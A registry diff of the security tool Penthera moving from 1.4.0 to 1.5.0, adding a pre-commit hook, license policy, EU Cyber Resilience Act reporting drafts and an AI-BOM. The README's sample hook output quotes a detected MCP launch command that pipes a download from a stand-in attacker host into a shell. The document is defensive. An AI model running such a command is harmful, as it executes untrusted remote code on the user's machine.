penthera 1.4.0 → 1.5.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -4,6 +4,63 @@ All notable changes to Penthera are documented here. Versioning follows [SemVer]
4
4
 
5
5
  ## [Unreleased]
6
6
 
7
+ ## [1.5.0] - 2026-10-19
8
+
9
+ Blocks problems at commit time, adds license policy, and extends the EU
10
+ evidence to the Cyber Resilience Act. The GitHub Action is now ready for the
11
+ Marketplace as "Penthera Security Review". Penthera also has a clearer
12
+ problem statement: open-source security for the apps and AI systems you ship.
13
+
14
+ ### Docs
15
+
16
+ - Problem statement: "open-source security for the apps and AI systems you
17
+ ship", organised around three moments (before you deploy, what you build
18
+ with, after you ship). README, package, plugin, skill and repository
19
+ descriptions updated. Roadmap gains v1.6.0 "Before you deploy" (preview
20
+ deployment scanning, `penthera ship`) and v1.7.0 "After you ship"
21
+ (`penthera watch`). New `docs/plan.md` sets measurable quality gates to v2.0.
22
+
23
+ ### Added
24
+
25
+ - **`penthera hook install|uninstall|run`**: a pre-commit hook that checks
26
+ staged content only (the git index): secrets and AI provider keys, the
27
+ `penthera agents` rules on staged `.mcp.json`, `CLAUDE.md`, `AGENTS.md`,
28
+ `.cursor/`, `.claude/` and `skills/`, and, when `package-lock.json` is staged,
29
+ the capability diff against HEAD plus the license policy for the packages the
30
+ commit adds. Blocks on high and critical by default; one line per finding with
31
+ a fix hint and a `penthera.suppress.json` id. An existing hook is kept as
32
+ `pre-commit.pre-penthera`, runs first, and is restored by `uninstall`. Refuses
33
+ to write into a `core.hooksPath` managed by husky or lefthook without `--force`.
34
+ `.pre-commit-hooks.yaml` for pre-commit.com. Configured by a new `hook`
35
+ section in `penthera.policy.json` (`blockOn`, `checks`, `ignore`)
36
+ - **License policy**: `penthera deps --license-policy <preset|file>` and a
37
+ `licenses` section in `penthera.policy.json` (`preset`, `allow`, `deny`,
38
+ `allowPackages`, `unknown`). Presets `permissive`, `weak-copyleft-ok` and
39
+ `no-agpl`. A small SPDX expression parser handles `AND`/`OR`/`WITH`,
40
+ parentheses, `+` and `LicenseRef-`, and matches deprecated ids (`GPL-3.0`) to
41
+ their current form. Breaches and `UNLICENSED` are high; missing, custom and
42
+ non-SPDX licenses are medium. Findings use category `license`; the SPDX id
43
+ list is vendored (`lib/deps/spdx.json`). CycloneDX SBOM components now carry
44
+ their license
45
+ - **CRA Article 14 reporting helper** (`penthera --cra-init cra.json`,
46
+ `penthera --cra cra.json`, `lib/compliance/cra.js`): for an actively exploited
47
+ vulnerability (24h early warning, 72h notification, final report 14 days after
48
+ a fix is available) or a severe incident (24h, 72h, final report one month
49
+ after the notification). Computes due dates in UTC and local time (hours
50
+ elapsed, days and months on the calendar, DST-safe), flags overdue and late
51
+ reports, drafts each report against Art. 14(2)/(4) with `NEEDS INPUT` for
52
+ missing facts, adds an Art. 14(8) user advisory, and can prefill the affected
53
+ component, purl and CVEs from a Penthera SBOM and scan JSON. NL profile names
54
+ NCSC-NL and the ENISA Single Reporting Platform. Drafts, not the official
55
+ form, not legal advice. Guide: `docs/compliance-cra.md`
56
+ - **CycloneDX 1.6 AI-BOM** (`penthera --repo . --aibom aibom.cdx.json`,
57
+ `lib/whitebox/aibom.js`): AI SDK dependencies, model identifiers in code as
58
+ `machine-learning-model` components with `modelCard` and file:line evidence,
59
+ MCP servers as `services`, and Agent Skills and prompt files as hashed `data`
60
+ components. Offline. Tests validate the output against the official
61
+ CycloneDX 1.6 schema, vendored in `tests/fixtures/cyclonedx/` (new dev
62
+ dependency: `ajv`)
63
+
7
64
  ## [1.4.0] - 2026-10-19
8
65
 
9
66
  The biggest release so far, covering the v1.3.0 "AI toolchain" and v1.4.0
package/README.md CHANGED
@@ -1,6 +1,6 @@
1
1
  <div align="center">
2
2
 
3
- <img src="assets/penthera-social.jpg" alt="Penthera: the routine work of a security team, on your own machine" width="840">
3
+ <img src="assets/penthera-social.jpg" alt="Penthera: open-source security for the apps and AI systems you ship" width="840">
4
4
 
5
5
  <br/><br/>
6
6
 
@@ -20,30 +20,41 @@
20
20
 
21
21
  <div align="center">
22
22
 
23
- ### The routine work of a security team, on your own machine.
23
+ ### Open-source security for the apps and AI systems you ship.
24
24
 
25
- **Penthera audits your app, your dependencies, and your AI tooling, fixes what it
26
- can, proves the fix, and writes the evidence. Offline, deterministic, free, and
27
- open source.**
25
+ **Check it before you deploy. Vet what you build with. Keep watching after you
26
+ ship. On your own machine, offline, and free.**
28
27
 
29
28
  </div>
30
29
 
31
30
  ---
32
31
 
33
- ## What it does for you
32
+ ## The problem
33
+
34
+ Teams now ship apps and AI agents faster than anyone can secure them. AI writes
35
+ much of the code. AI pulls in the packages, MCP servers, and skills. And on most
36
+ teams nobody does security full time. Attackers have noticed: 2025 and 2026
37
+ brought self-spreading npm worms that hijacked AI coding tools, malicious MCP
38
+ servers, poisoned agent skills, and leaked AI provider keys running up large bills.
39
+
40
+ Commercial platforms answer this from the cloud, for a fee, often with an AI
41
+ deciding what is malicious. **Penthera answers it on your machine, for free,
42
+ with rules you can read.** Think of it as the open-source security team for
43
+ teams that don't have one.
34
44
 
35
- Most small teams have no security engineer. Penthera covers the recurring work
36
- one would do, from a CLI or from inside Claude Code and Cursor:
45
+ ## What it does for you
37
46
 
38
- | The job | What Penthera does | Command |
39
- |---------|--------------------|---------|
40
- | **Test the app** | Black-box scan of a live URL (TLS, headers, CORS, auth, JWT, IDOR, OAuth, OpenAPI, opt-in injection and fuzzing) and white-box scan of the repo (routes, trust boundaries, secrets including AI provider keys) | `penthera <url> --repo .` |
41
- | **Vet dependencies** | What every npm package can actually do (install scripts, shell, network, env, obfuscation), what an upgrade added, lookalike names | `penthera deps --base main` |
42
- | **Guard installs** | Shows what a new package brings before any install script runs, and stops it under your policy | `penthera install <pkg>` |
43
- | **Review pull requests** | Comments the dependency capability diff on every PR that touches the lockfile | [GitHub Action](#use-as-a-github-action) |
44
- | **Audit your AI tooling** | Skills, MCP servers, hooks, plugins, and rule files: hidden instructions, unpinned servers, over-broad permissions, silent updates | `penthera agents --home` |
45
- | **Fix and verify** | Deterministic fixes on a local branch, re-scanned to prove they worked, remembered so the next run is sharper. Never pushes | `penthera agent --loop` |
46
- | **Report and prove** | Reports for developers, owners, and auditors; a hashed, signable evidence bundle; NIS2 readiness and incident drafts | `penthera <url> --audience auditor --evidence out/` |
47
+ | | The job | What Penthera does | Command |
48
+ |---|---------|--------------------|---------|
49
+ | **Before you deploy** | Test the app | Scan your localhost or preview URL (TLS, headers, CORS, auth, JWT, IDOR, OAuth, OpenAPI, opt-in injection and fuzzing) and your repo (routes, trust boundaries, secrets including AI keys) | `penthera <url> --repo .` |
50
+ | | Fix and verify | Deterministic fixes on a local branch, re-scanned to prove they worked, remembered so the next run is sharper. Never pushes | `penthera agent --loop` |
51
+ | | Block it at commit time | Secrets, risky agent config, and dependency changes stopped before they are committed | `penthera hook install` |
52
+ | **What you build with** | Vet dependencies | What every package can actually do (install scripts, shell, network, env, obfuscation), what an upgrade added, lookalike names | `penthera deps --base main` |
53
+ | | Guard installs | Shows what a new package brings before any install script runs, and stops it under your policy | `penthera install <pkg>` |
54
+ | | Review pull requests | Comments the dependency capability diff on every PR that touches the lockfile | [GitHub Action](#use-as-a-github-action) |
55
+ | | Audit your AI tooling | Skills, MCP servers, hooks, plugins, and rule files: hidden instructions, unpinned servers, over-broad permissions, silent updates | `penthera agents --home` |
56
+ | **After you ship** | Report and prove | Reports for developers, owners, and auditors; a hashed, signable evidence bundle; NIS2 and CRA readiness and report drafts | `penthera <url> --audience auditor --evidence out/` |
57
+ | | Keep watching | Scheduled checks of your own production for drift: certificates, headers, new endpoints, keys in bundles, new CVEs in your SBOM | *on the [roadmap](ROADMAP.md)* |
47
58
 
48
59
  What it is not: a human pentester, a 24/7 SOC, or incident response. It does the
49
60
  repeatable checks so the people you do have can spend their time on judgement.
@@ -110,26 +121,15 @@ wizard. See the [quick start](#quick-start).
110
121
 
111
122
  ---
112
123
 
113
- ## Why Penthera
114
-
115
- You shipped something fast: vibecoded, AI-assisted, already live. The same models
116
- that helped you build it also make it easy for someone to probe it. Exposed API
117
- routes, missing security headers, weak auth, a hardcoded key in the repo, an AI
118
- provider key in the frontend bundle. Meanwhile the packages, skills, and MCP
119
- servers you pull in run with your credentials, and attackers know it: 2025 and
120
- 2026 brought self-spreading npm worms, malicious MCP servers, and poisoned agent
121
- skills.
122
-
123
- Commercial platforms answer this from the cloud, for a fee, often with an AI
124
- judge deciding what is malicious. Penthera answers it on your machine, for free,
125
- with rules you can read.
124
+ ## Use it responsibly
126
125
 
127
126
  Penthera is for hardening systems you own. It is powerful, so please use it
128
127
  carefully. See [Ethical use](#ethical-use--authorization) and the [Disclaimer](#disclaimer).
129
128
 
130
129
  Shipping in the EU? Penthera also generates your
131
130
  [NIS2 readiness report, policy pack, incident-report drafts, SBOM, and prefilled
132
- customer security questionnaires](#compliance-nis2-and-the-cyberwetgeving).
131
+ customer security questionnaires](#compliance-nis2-and-the-cyberwetgeving), plus
132
+ CRA Article 14 report drafts and an AI-BOM.
133
133
  Readiness tooling, not a certification.
134
134
 
135
135
  ### What you get
@@ -552,6 +552,111 @@ both. The one network use is npm talking to your configured registry, and
552
552
  Penthera prints which one; Penthera itself sends nothing. Workspaces and
553
553
  `file:` dependencies are not supported yet.
554
554
 
555
+ ### License policy
556
+
557
+ ```bash
558
+ penthera deps --license-policy permissive # or weak-copyleft-ok, no-agpl
559
+ penthera deps --license-policy legal/policy.json # a file with a "licenses" section
560
+ ```
561
+
562
+ Without the flag, `penthera deps` applies the `licenses` section of
563
+ `penthera.policy.json` when there is one:
564
+
565
+ ```json
566
+ {
567
+ "licenses": {
568
+ "preset": "permissive",
569
+ "allow": ["Python-2.0"],
570
+ "deny": ["WTFPL"],
571
+ "allowPackages": ["@acme/*", "sharp@0.33.5"],
572
+ "unknown": "warn"
573
+ }
574
+ }
575
+ ```
576
+
577
+ | Preset | Allows |
578
+ |---|---|
579
+ | `permissive` | MIT, ISC, BSD, Apache-2.0, 0BSD, Unlicense, CC0, Zlib, BlueOak and similar. Everything else breaches |
580
+ | `weak-copyleft-ok` | `permissive` plus LGPL, MPL, EPL, CDDL and Artistic-2.0 |
581
+ | `no-agpl` | Anything except AGPL and SSPL (network copyleft) |
582
+
583
+ Licenses come from the lockfile (npm records them in v2 and v3), else from
584
+ the installed `package.json`. Expressions are parsed as SPDX:
585
+ `MIT OR GPL-3.0-only` passes `permissive` because one branch is enough, while
586
+ `MIT AND GPL-3.0-only` does not. Deprecated ids (`GPL-3.0`, `GPL-2.0+`) are
587
+ matched to their current form, so a deny of `AGPL-3.0-only` also catches a
588
+ package that says `AGPL-3.0`. A breach and `UNLICENSED` (no rights granted)
589
+ are high. A missing, custom (`SEE LICENSE IN ...`) or non-SPDX license is
590
+ medium, or high with `"unknown": "block"`. `allowPackages` exempts packages your
591
+ legal review has cleared. Findings use category `license` and appear in every
592
+ output format, and `--sbom` now records each component's license.
593
+
594
+ ## Block it before it's committed
595
+
596
+ Once a secret is pushed, rotating it is the only fix. The pre-commit hook runs
597
+ the checks that matter on what you are about to commit, and nothing else:
598
+
599
+ ```bash
600
+ penthera hook install # writes .git/hooks/pre-commit; an existing hook is kept and runs first
601
+ penthera hook run # what the hook runs; try it on staged changes
602
+ penthera hook uninstall # removes it and puts your old hook back
603
+ ```
604
+
605
+ On staged content only (the git index, not your working tree):
606
+
607
+ - secrets and AI provider keys in staged files;
608
+ - `penthera agents` rules on staged `.mcp.json`, `CLAUDE.md`, `AGENTS.md`,
609
+ `.cursor/`, `.claude/` and `skills/`;
610
+ - when `package-lock.json` is staged, the capability diff against HEAD's
611
+ lockfile and the license policy, for the packages this commit adds.
612
+
613
+ ```
614
+ ✗ penthera blocked this commit: 2 findings at high or above (2 staged files, 1 agent config, 0.1s)
615
+
616
+ ✗ CRITICAL .mcp.json MCP server "x" launches by downloading and running code id b5914a44a2058da9
617
+ → Launch command contains a download piped to a shell: `curl https://evil.example/x.sh | sh`.
618
+ ✗ CRITICAL config.js:1 Anthropic API key in source sk-a…AAAA id 7a0eb6998ff38787
619
+ → Load it from an env var or secret store and unstage the file; rotate it if it was ever pushed or shared.
620
+
621
+ Fix and `git add` again. A false positive? Add it to penthera.suppress.json:
622
+ { "version": 1, "suppress": [{ "id": "b5914a44a2058da9", "reason": "why this is safe" }] }
623
+ To skip the check for one commit: git commit --no-verify (the finding still ships)
624
+ ```
625
+
626
+ It blocks on high and critical by default and takes about 0.1 to 0.5 s.
627
+ Configure it in `penthera.policy.json`:
628
+
629
+ ```json
630
+ { "hook": { "blockOn": "high", "ignore": ["tests/fixtures/**"],
631
+ "checks": { "secrets": true, "agents": true, "deps": true, "licenses": true } } }
632
+ ```
633
+
634
+ If husky or lefthook manage your hooks (`core.hooksPath` is set),
635
+ `penthera hook install` says so instead of overwriting them. Add one line to
636
+ that tool instead:
637
+
638
+ ```bash
639
+ # husky
640
+ echo "npx --no-install penthera hook run" >> .husky/pre-commit
641
+ ```
642
+
643
+ ```yaml
644
+ # lefthook.yml
645
+ pre-commit:
646
+ commands:
647
+ penthera:
648
+ run: npx --no-install penthera hook run
649
+ ```
650
+
651
+ ```yaml
652
+ # .pre-commit-config.yaml (pre-commit.com)
653
+ repos:
654
+ - repo: https://github.com/danoszz/penthera
655
+ rev: <tag or sha>
656
+ hooks:
657
+ - id: penthera
658
+ ```
659
+
555
660
  ---
556
661
 
557
662
  ## Compliance: NIS2 and the cyberwetgeving
@@ -569,11 +674,14 @@ helps with the paperwork around it. Offline, no accounts.
569
674
  | `--policy-pack ./policies` | Proportionate policy templates, prefilled from your gaps |
570
675
  | `--incident incident.json` | 24h / 72h / 1-month incident report drafts and deadlines |
571
676
  | `--sbom sbom.cdx.json` | CycloneDX software bill of materials |
677
+ | `--cra cra.json` | CRA Article 14 drafts: 24h / 72h / 14-day or 1-month deadlines, overdue flags |
678
+ | `--aibom aibom.cdx.json` | CycloneDX 1.6 AI-BOM: AI SDKs, models in code, MCP servers, skills, prompts |
572
679
  | `--history history.json` | Time-to-fix, ageing, and drift across scans |
573
680
  | `--suppliers suppliers.txt` | Passive red/amber/green rating of your suppliers |
574
681
 
575
682
  **Full guide, the measure-by-measure coverage table, and the limits:**
576
- [docs/compliance-nis2.md](docs/compliance-nis2.md).
683
+ [docs/compliance-nis2.md](docs/compliance-nis2.md). Cyber Resilience Act
684
+ reporting and the AI-BOM: [docs/compliance-cra.md](docs/compliance-cra.md).
577
685
 
578
686
  > Readiness tooling, not a certification and not legal advice.
579
687
 
@@ -583,7 +691,7 @@ helps with the paperwork around it. Offline, no accounts.
583
691
 
584
692
  ```yaml
585
693
  # Scan a staging URL on a schedule and upload results to GitHub Security.
586
- - run: npx penthera@1.4.0 "$PENTEST_URL" --profile standard --sarif reports/scan.sarif
694
+ - run: npx penthera@1.5.0 "$PENTEST_URL" --profile standard --sarif reports/scan.sarif
587
695
  - uses: github/codeql-action/upload-sarif@v4
588
696
  with:
589
697
  sarif_file: reports/scan.sarif
@@ -0,0 +1,141 @@
1
+ # Compliance: the Cyber Resilience Act (CRA)
2
+
3
+ Back to the [README](../README.md). NIS2 lives in
4
+ [compliance-nis2.md](compliance-nis2.md).
5
+
6
+ The Cyber Resilience Act, [Regulation (EU) 2024/2847](https://eur-lex.europa.eu/eli/reg/2024/2847/oj/eng),
7
+ puts security duties on manufacturers of products with digital elements, which
8
+ includes software you sell or make available in the EU. Most of it applies from
9
+ 11 December 2027. The reporting duty in **Article 14 has applied since
10
+ 11 September 2026** (Art. 71(2)), and it also covers products placed on the
11
+ market before December 2027 (Art. 69(3)).
12
+
13
+ Penthera helps with two pieces of CRA evidence, offline:
14
+
15
+ | Command | What you get |
16
+ |---------|--------------|
17
+ | `--cra-init cra.json` then `--cra cra.json` | Article 14 timeline with real due dates, overdue flags, and drafts of every report |
18
+ | `--repo . --aibom aibom.cdx.json` | CycloneDX 1.6 AI-BOM: AI SDKs, models referenced in code, MCP servers, skills, prompt files |
19
+
20
+ Penthera does not make you CRA compliant and does not certify anything. The
21
+ drafts are not the ENISA platform's official form, and none of this is legal
22
+ advice.
23
+
24
+ ## Article 14 reporting helper
25
+
26
+ ### What the regulation asks
27
+
28
+ Checked on 2026-10-19 against the Official Journal text and the
29
+ [ENISA Single Reporting Platform (SRP) FAQ](https://www.enisa.europa.eu/topics/product-security/vulnerability-services/eu-incident-response-and-cyber-crisis-management/single-reporting-platform-srp/frequently-asked-questions).
30
+
31
+ | | Actively exploited vulnerability (Art. 14(1)-(2)) | Severe incident (Art. 14(3)-(5)) |
32
+ |---|---|---|
33
+ | Early warning | within 24 hours of becoming aware, with the Member States where the product is available | within 24 hours, including whether it is suspected to be caused by unlawful or malicious acts, plus Member States |
34
+ | Notification | within 72 hours: the product, the general nature of the exploit and the vulnerability, corrective or mitigating measures taken and ones users can take, how sensitive the information is | within 72 hours: nature of the incident, an initial assessment, measures taken and ones users can take, sensitivity |
35
+ | Final report | no later than **14 days after a corrective or mitigating measure is available**: description with severity and impact, any malicious actor, details of the security update | within **one month after the incident notification**: detailed description with severity and impact, type of threat or root cause, applied and ongoing mitigations |
36
+
37
+ - **Where to send it.** Through the [ENISA Single Reporting Platform](https://portal.cra-srp.enisa.europa.eu/),
38
+ using the end-point of the CSIRT designated as coordinator in the Member State
39
+ of your main establishment. ENISA receives it at the same time (Art. 14(1),
40
+ 14(3), 14(7)). For the Netherlands that CSIRT is **NCSC-NL**, per ENISA's
41
+ [list of CSIRTs designated as coordinators](https://www.enisa.europa.eu/topics/product-security/vulnerability-services/eu-incident-response-and-cyber-crisis-management/single-reporting-platform-srp/list-of-csirts-designated-as-coordinators).
42
+ - **Inform your users.** After becoming aware, inform impacted users (and where
43
+ appropriate all users), with mitigations they can deploy, where appropriate
44
+ in a machine-readable format (Art. 14(8)).
45
+ - **One notification** per vulnerability or incident, even across subsidiaries
46
+ (ENISA SRP FAQ). The CSIRT may ask for an intermediate report (Art. 14(6)).
47
+ - An *actively exploited vulnerability* is one with reliable evidence that a
48
+ malicious actor exploited it without the system owner's permission (Art. 3(42)).
49
+ An incident is *severe* if it can harm the availability, authenticity,
50
+ integrity or confidentiality of sensitive or important data or functions, or
51
+ can lead to malicious code in the product or a user's systems (Art. 14(5)).
52
+
53
+ ### Use it
54
+
55
+ ```bash
56
+ penthera --cra-init cra.json # set type ("vulnerability" or "incident") and aware_at
57
+ penthera --cra cra.json # writes cra-reports.md and prints the deadlines
58
+ ```
59
+
60
+ `cra-reports.md` holds the timeline (UTC and your local time), a status per
61
+ report (`due in 21h 30m`, `submitted`, `submitted late`, `OVERDUE`,
62
+ `waiting for a fix`), a draft of each report with `NEEDS INPUT` for every fact
63
+ still missing, and a draft user advisory for Art. 14(8). Record what you've sent
64
+ in `submitted.early_warning` / `submitted.notification` / `submitted.final_report`
65
+ and re-run; for a severe incident the final report then counts from the real
66
+ submission time instead of the 72-hour deadline.
67
+
68
+ **Prefill from your scan and SBOM.** Name the affected dependency in
69
+ `component.name` and point `prefill` at Penthera output (paths relative to
70
+ `cra.json`):
71
+
72
+ ```json
73
+ {
74
+ "type": "vulnerability",
75
+ "aware_at": "2026-10-24T09:00:00+02:00",
76
+ "component": { "name": "jquery" },
77
+ "prefill": { "scan": "scan.json", "sbom": "sbom.cdx.json" }
78
+ }
79
+ ```
80
+
81
+ ```bash
82
+ penthera https://staging.example.com --repo . --sbom sbom.cdx.json -o scan.json
83
+ ```
84
+
85
+ From the SBOM it fills the product name and version and the component's version
86
+ and purl; from the scan, matching CVE ids, the scanner severity, and the finding
87
+ titles. Prefilled values are marked *verify* in the draft, and anything you wrote
88
+ yourself is never overwritten. A full example lives in `tests/fixtures/cra/`.
89
+
90
+ ### How the deadlines are counted
91
+
92
+ - **Hours are elapsed hours** from `aware_at`. If the clocks change in between,
93
+ the local due time shifts (24 hours from 09:00 CEST on 24 October 2026 is
94
+ 08:00 CET on 25 October).
95
+ - **Days and months are calendar periods** in your `timezone` (default
96
+ `Europe/Amsterdam`), ending at the same clock time. One month from 31 January
97
+ ends on 28 (or 29) February, following
98
+ [Regulation 1182/71](https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:31971R1182) Art. 3(2)(c).
99
+ - A timestamp without an offset is read in `timezone`. Use ISO 8601.
100
+ - This is the **strict reading**. Regulation 1182/71 can give a little more
101
+ time (a period runs to the end of the hour or day, and a days or months period
102
+ that ends on a weekend or public holiday moves to the next working day).
103
+ Don't plan on that; report early.
104
+
105
+ The helper warns if `aware_at` is before 11 September 2026, if
106
+ `main_establishment` is not the Netherlands (so NCSC-NL is not your CSIRT), and
107
+ if the type or time zone is unknown.
108
+
109
+ ## AI-BOM (CycloneDX 1.6)
110
+
111
+ Customers and auditors increasingly ask what AI a product contains: which
112
+ providers get your data, which models, which agent tooling. `--aibom`
113
+ inventories it from the repo, offline:
114
+
115
+ ```bash
116
+ penthera --repo . --aibom aibom.cdx.json
117
+ ```
118
+
119
+ | Found | How | CycloneDX |
120
+ |-------|-----|-----------|
121
+ | AI SDKs: `openai`, `@anthropic-ai/sdk`, `@google/genai`, `ai` / `@ai-sdk/*`, `langchain` / `@langchain/*`, `llamaindex`, `ollama`, `@huggingface/transformers`; on PyPI `anthropic`, `transformers`, `torch`, `langchain-*`, `llama-index-*`, `litellm`, `mcp` and others | lockfile, `package.json`, `requirements.txt`, `pyproject.toml` | `library` with purl |
122
+ | Models: `claude-*`, `gpt-*`, `o3`, `text-embedding-*`, `gemini-*`, `gemma*`, `llama*`, `mistral-*`, `deepseek-*`, `qwen*`, `phi-*`, `grok-*`, Hugging Face ids (`meta-llama/Llama-3.1-8B-Instruct`) | whole string literals in code and `model:` keys in YAML/TOML; HF ids only for known orgs or next to a loader call | `machine-learning-model` with supplier, `modelCard` stub, `evidence.occurrences` (file and line) |
123
+ | MCP servers | `lib/agents/discover.js` (`.mcp.json`, `.cursor/`, `.vscode/mcp.json`, ...) | `services` with transport, package, endpoint and trust boundary; env var *names* only, never values or args |
124
+ | Agent Skills | `SKILL.md` folders | `data` with SHA-256 |
125
+ | Prompt files | `*.prompt`, `*.prompty`, `*.prompt.md`, anything under a `prompts/` folder | `data` with SHA-256 |
126
+
127
+ Every item hangs off the root component in `dependencies`. The BOM is only the
128
+ AI slice; use `--sbom` for all dependencies.
129
+
130
+ Spec references: the [CycloneDX 1.6 JSON reference](https://cyclonedx.org/docs/1.6/json/),
131
+ the [ML-BOM capability page](https://cyclonedx.org/capabilities/mlbom/), and the
132
+ [official schema](https://github.com/CycloneDX/specification/blob/master/schema/bom-1.6.schema.json).
133
+ That schema (with its SPDX and JSF dependencies) is vendored in
134
+ `tests/fixtures/cyclonedx/`, and the tests validate every generated AI-BOM
135
+ against it without network. Penthera emits 1.6 (ML-BOM first appeared in 1.5);
136
+ CycloneDX 1.7 is also published and is a later upgrade.
137
+
138
+ **Limits.** A model string in code means the model is referenced, not that it
139
+ runs in production; the evidence lines let a reviewer check. Model ids built at
140
+ runtime (`` `claude-${tier}` ``) are not detected. The `modelCard` is a stub:
141
+ fill in task, datasets and considerations from the provider's model card.
@@ -1,6 +1,8 @@
1
1
  # Compliance: NIS2 and the cyberwetgeving
2
2
 
3
- Back to the [README](../README.md).
3
+ Back to the [README](../README.md). Shipping a product? The Cyber Resilience
4
+ Act's Article 14 reporting helper and the AI-BOM are in
5
+ [compliance-cra.md](compliance-cra.md).
4
6
 
5
7
  The EU NIS2 directive and its national transpositions (the Cyberbeveiligingswet
6
8
  in the Netherlands, the NIS2-wet in Belgium) put a duty of care, the *zorgplicht*,
@@ -34,7 +34,7 @@ jobs:
34
34
  run: |
35
35
  mkdir -p reports
36
36
  set +e
37
- npx --yes penthera@1.4.0 "$PENTEST_URL" \
37
+ npx --yes penthera@1.5.0 "$PENTEST_URL" \
38
38
  --profile standard \
39
39
  -o reports/scan.json \
40
40
  --sarif reports/scan.sarif
package/docs/index.md CHANGED
@@ -1,6 +1,6 @@
1
1
  # Penthera documentation
2
2
 
3
- The routine work of a security team, on your own machine: app scanning, dependency and install checks, an AI-tooling audit, a local fix loop, and auditor-grade reports. Offline, deterministic, free.
3
+ Open-source security for the apps and AI systems you ship: check it before you deploy, vet what you build with, keep watching after you ship. Offline, deterministic, free.
4
4
 
5
5
  ## Getting started
6
6
 
@@ -9,7 +9,7 @@ The routine work of a security team, on your own machine: app scanning, dependen
9
9
  | [README](../README.md) | Install, quick start, ethical use |
10
10
  | [Run it](../README.md#run-it) | Install + first-time wizard (`penthera` with no args) |
11
11
  | [CHANGELOG](../CHANGELOG.md) | Version history |
12
- | [Roadmap](../ROADMAP.md) and [release plan](./release-plan.md) | What ships next, in what order |
12
+ | [Roadmap](../ROADMAP.md), [plan to v2.0](./plan.md) and [release plan](./release-plan.md) | What ships next, in what order, and how quality is measured |
13
13
 
14
14
  ## Scanning
15
15
 
package/docs/plan.md ADDED
@@ -0,0 +1,100 @@
1
+ # Plan to v2.0
2
+
3
+ How Penthera gets from "many features, shipped fast" to a tool a team can rely
4
+ on without thinking about it. Written 2026-10-19. The [roadmap](../ROADMAP.md)
5
+ says *what* ships; this says *how well*, and in what order.
6
+
7
+ Penthera is maintained part-time alongside a PhD, so the plan is built around
8
+ small, finishable pieces and automation that keeps quality from depending on
9
+ anyone's free evenings.
10
+
11
+ ## The problem we solve
12
+
13
+ Teams ship apps and AI agents faster than anyone can secure them. Penthera is
14
+ the open-source security team for teams that don't have one, in three moments:
15
+
16
+ 1. **Before you deploy.** Test the app on localhost or a preview URL, fix what
17
+ it finds on a local branch, and prove the fix.
18
+ 2. **What you build with.** Vet dependencies, installs, and AI tooling (skills,
19
+ MCP servers, hooks) before they get access to your machine and credentials.
20
+ 3. **After you ship.** Keep watching your own production for drift, and produce
21
+ the reports and evidence that customers and regulators ask for.
22
+
23
+ All of it local, deterministic, and free. Anything that doesn't serve one of
24
+ these three moments is out of scope.
25
+
26
+ ## Milestones
27
+
28
+ | Release | Theme | Done when |
29
+ |---------|-------|-----------|
30
+ | v1.5.0 | AI apps and compliance | Pre-commit hook, license policy, CRA helper, AI-BOM, signed rule packs, Python `deps`, dashboard, internal audit all merged and passing the audit |
31
+ | v1.6.0 | Before you deploy | `penthera ship` and preview-deployment scanning work on a real Vercel and Netlify project |
32
+ | v1.7.0 | After you ship | `penthera watch` runs weekly on three real production apps for a month without a false alarm anyone complained about |
33
+ | v2.0.0 | Stable | Public interfaces frozen (CLI flags, JSON report schema, policy file, rule-pack format), documented, and covered by compatibility tests |
34
+
35
+ ## What "perfect" means, concretely
36
+
37
+ Quality is measured, not felt. Each item below has a gate that the internal
38
+ audit (`npm run audit:internal`) or CI checks automatically.
39
+
40
+ ### 1. Accuracy
41
+ - Benchmark precision and recall never drop between releases (the audit fails
42
+ on a drop of more than 0.02).
43
+ - Expand the benchmark beyond the mock server: OWASP Juice Shop, crAPI, a
44
+ deliberately vulnerable Next.js app, and fixture sets for `agents` and `deps`.
45
+ - Every false positive reported by a user becomes a regression test before it
46
+ is fixed.
47
+
48
+ ### 2. First-run experience
49
+ - From `npx penthera` to a useful result in under two minutes on a fresh Next.js
50
+ or Express app, measured on a clean machine each release.
51
+ - Every error message says what happened and what to do next. No stack traces
52
+ for expected failures.
53
+ - Works on macOS, Linux, and Windows (add a Windows CI job; the symlinked Cursor
54
+ skill and path handling are the known risks).
55
+
56
+ ### 3. Documentation
57
+ - The README stays a front page: problem, what it does, install, trust. Feature
58
+ detail moves into a docs site (`docs/`), one page per command, each with a
59
+ copy-paste example and its real output.
60
+ - Every command's `--help` and its docs page are generated from or tested
61
+ against the same source, so they never drift.
62
+
63
+ ### 4. Stability of interfaces
64
+ - A versioned JSON schema for reports, the policy file, and rule packs, checked
65
+ in CI.
66
+ - A deprecation policy: one minor release of warnings before anything breaks.
67
+
68
+ ### 5. Security of Penthera itself
69
+ - Self-scan clean on every release (`--repo`, `agents`, `deps`, the dashboard).
70
+ - Anything that parses untrusted input (packages, configs, scan responses, rule
71
+ packs) has a fuzz or hostile-input test. The ReDoS fixed in `deps` is the
72
+ reason why.
73
+ - An external review before v2.0: ask an academic security group or a volunteer
74
+ from the OWASP community to look at the fix loop, the install firewall, and
75
+ the dashboard, the three parts that write files or run commands.
76
+
77
+ ### 6. Real-world proof
78
+ - Three pilot projects (friendly teams, a student project, one of the
79
+ maintainer's own) run Penthera before each deploy for a month. Their feedback
80
+ sets the priorities for the next release.
81
+ - Publish what Penthera found and fixed, with permission, as short case studies.
82
+
83
+ ## Working rhythm
84
+
85
+ - One release every two to three weeks, each with a single theme.
86
+ - The internal audit runs weekly and before every tag; a red audit blocks the
87
+ release.
88
+ - Issues labelled `good first issue` are kept stocked (three to five open at a
89
+ time), so contributors can help without needing the maintainer's time.
90
+ - Anything that needs judgement (a new probe that sends payloads, anything
91
+ touching third parties) gets a short design note in `docs/` before code.
92
+
93
+ ## Explicitly not doing
94
+
95
+ - A hosted service, telemetry, or an update channel that fetches rules at run
96
+ time.
97
+ - Offensive tooling for targets the user does not own, and attack-payload
98
+ generation for AI systems.
99
+ - An LLM as the judge of what is malicious. Models may help write fixes,
100
+ locally, and always labelled as such.